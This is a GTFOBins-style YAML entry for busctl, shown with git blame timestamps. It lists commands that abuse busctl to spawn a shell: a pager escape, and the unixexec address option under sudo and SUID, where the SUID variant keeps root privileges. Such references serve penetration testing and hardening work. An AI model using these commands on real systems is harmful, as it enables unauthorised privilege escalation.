2020-03-17 07:39:11 +01:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
shell:
|
2023-12-23 14:06:16 +01:00
|
|
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
|
|
|
code: |
|
2020-03-17 07:39:11 +01:00
|
|
|
busctl --show-machine
|
2020-03-17 20:18:53 +01:00
|
|
|
!/bin/sh
|
2023-12-23 14:06:16 +01:00
|
|
|
- code: |
|
|
|
|
busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'
|
2020-03-17 07:39:11 +01:00
|
|
|
sudo:
|
2020-03-17 20:18:53 +01:00
|
|
|
- code: |
|
2023-12-23 14:06:16 +01:00
|
|
|
sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'
|
|
|
|
suid:
|
2023-06-08 23:04:35 +02:00
|
|
|
- code: |
|
2023-12-23 14:06:16 +01:00
|
|
|
./busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'
|
2020-03-17 07:39:11 +01:00
|
|
|
---
|